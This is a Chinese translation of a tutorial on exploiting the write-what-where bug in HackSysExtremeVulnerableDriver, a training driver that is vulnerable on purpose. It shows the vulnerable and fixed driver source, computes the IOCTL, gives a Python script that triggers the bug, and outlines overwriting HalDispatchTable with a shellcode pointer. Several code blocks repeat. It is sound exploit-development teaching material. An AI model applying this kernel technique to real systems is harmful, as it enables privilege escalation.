(译者注:ProbeForRead()函数如果检测打到所指定的地址不在用户态的内存范围,将会扔出一个异常STATUS_DATATYPE_MISALIGNMENT,看ArbitraryOverwrite.c源码可以知道在此处存在异常处理。)
译者注:注意观察shellcode的popad之后的堆栈平衡和上一片文章中的不太一样,主要是两者的堆栈状态不同,此处是在调用nt!HalDispatchTable+0x4之后直接返回到nt!NtQueryIntervalProfile+0x70位置,也就是调用nt!KeQueryIntervalProfile结束。也可以不出栈这么多,返回到
nt!HalDispatchTable+0x4调用结束即可,那么只需一个xor eax,eax / ret 0x10即可。
原文地址:https://rootkits.xyz/blog/2017/09/kernel-write-what-where/
已经翻译:
在
上一篇文章中,我们了解了一个基本的内核缓冲区溢出漏洞的利用。
在这篇文章中,我们将关注另一个类型的漏洞,任意内存写入,也就是Write-What-Where漏洞。这种类型漏洞利用的基本思路是:将我们的shellcode指针写入内核分发表(Kernel Dispatch Table)中。
#ifdef SECURE
//安全的代码:在执行写操作之前,对指向where和what的两个指针,利用ProbeForRead()函数判断是否属于用户态。
*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
//不安全的代码:这是一个常见的任意内存写入漏洞,
//代码对要写入的内容(What)的内存地址和写入的地址的指针(Where)没有检查是否属于用户态。
*(Where) = *(What);
#ifdef SECURE
//安全的代码:在执行写操作之前,对指向where和what的两个指针,利用ProbeForRead()函数判断是否属于用户态。
*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
//不安全的代码:这是一个常见的任意内存写入漏洞,
//代码对要写入的内容(What)的内存地址和写入的地址的指针(Where)没有检查是否属于用户态。
*(Where) = *(What);
(译者注:ProbeForRead()函数如果检测打到所指定的地址不在用户态的内存范围,将会扔出一个异常STATUS_DATATYPE_MISALIGNMENT,看ArbitraryOverwrite.c源码可以知道在此处存在异常处理。)
这是对漏洞和相应修复很好的展示。不安全的代码缺少对两个指针(What和Where)没有判断其属于用户空间还是内核空间。而安全的代码,使用ProbeForRead函数对这两个指针是否属于用户空间进行了判断。
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
通过CTL_CODE宏创建了不同的系统IOCTL,并且通过这个宏,我们可以用下面的Python代码计算相应的IOCTL编号值。
hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
这一次,我们要用到的IOCTL值是0x22200b.
接下来,使用IDA分析TriggerArbitraryOverwrite函数。
可以发现,这里有8个字节,前四个是写入内容的指针(What),后四个是写入地址的指针(Where)
让我们进入好玩的部分。我们使用上一篇文章中的脚本框架,修改IOCTL,观察是否可以正常运行。
import ctypes, sys, struct
from ctypes import *
from subprocess import *
def main():
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
sys.exit(-1)
buf = "A"*100
bufLength = len(buf)
kernel32.DeviceIoControl(hevDevice, 0x22200b, buf, bufLength, None, 0, byref(c_ulong()), None)
if __name__ == "__main__":
main()
import ctypes, sys, struct
from ctypes import *
from subprocess import *
def main():
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
sys.exit(-1)
buf = "A"*100
bufLength = len(buf)
kernel32.DeviceIoControl(hevDevice, 0x22200b, buf, bufLength, None, 0, byref(c_ulong()), None)
if __name__ == "__main__":
main()
正常运行。现在我们开始构建我们的漏洞利用。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课